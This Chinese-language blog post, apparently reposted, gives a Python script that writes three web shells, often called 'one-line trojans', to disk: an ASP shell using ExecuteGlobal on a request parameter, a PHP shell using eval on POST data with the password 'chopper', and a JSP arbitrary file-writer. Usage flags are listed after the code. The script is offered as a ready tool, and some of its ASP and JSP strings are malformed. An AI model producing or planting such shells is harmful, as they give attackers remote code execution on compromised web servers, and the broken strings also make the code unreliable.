python写一个能生成三种一句话木马的脚本

代码:

import time
import os
from threading import Thread
import optparse
def aspyijuhua():
    try:
      juy=open('caidao.asp','w')
      asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
      print '[+]Accelerated generation !'
      juy.writelines(asp)
      print '[+]ASP in word ,the Trojan horse is finished .'
      print '[+]Password:1'
    except:
        print '[-]Not generate !'

def phpyijuhua():
    try:
        php=open('caidao.php','w')
        payload="<?php @eval($_POST['chopper']);?>"
        print '[+]Accelerated generation !'
        php.writelines(payload)
        print '[+]PHP in word ,the Trojan horse is finished .'
        print '[+]Password:chopper'
    except:
        print '[-]Not generate !'

def jspyijuhua():
    try:
        jsp=open('caidao.jsp','w')
        payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
        print '[+]Accelerated generation !'
        jsp.writelines(payload)
        print '[+]JSP in word ,the Trojan horse is finished .'
    except:
        print '[-]Not generate !'
def editon():
    print '-a ASP in word ,the Trojan horse is finished .'
    print '-p PHP in word ,the Trojan horse is finished .'
    print '-j JSP in word ,the Trojan horse is finished .'
    print 'Editon v.1.0'
    print 'What is your Haq me, Whatever you do love you'

def main():
  parser=optparse.OptionParser()
  parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
  parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
  parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
  parser.add_option('-v',action='store_true',dest='help',help='Editon')
  (options,args)=parser.parse_args()
  if options.asp:
    a=Thread(target=aspyijuhua,args=())
    a.start()
  if options.php:
    px=Thread(target=phpyijuhua,args=())
    px.start()
  if options.jsp:
    j=Thread(target=jspyijuhua,args=())
    j.start()
  if options.help:
    h=Thread(target=editon(),args=())
    h.start()

if __name__ == '__main__':
    main()

  运行截图:

命令:

-h 帮助

-a 生成asp一句话马

-p 生成php一句话木马

-j 生成jsp一句话木马

-v 版本

转载于:https://www.cnblogs.com/haq5201314/p/8427628.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值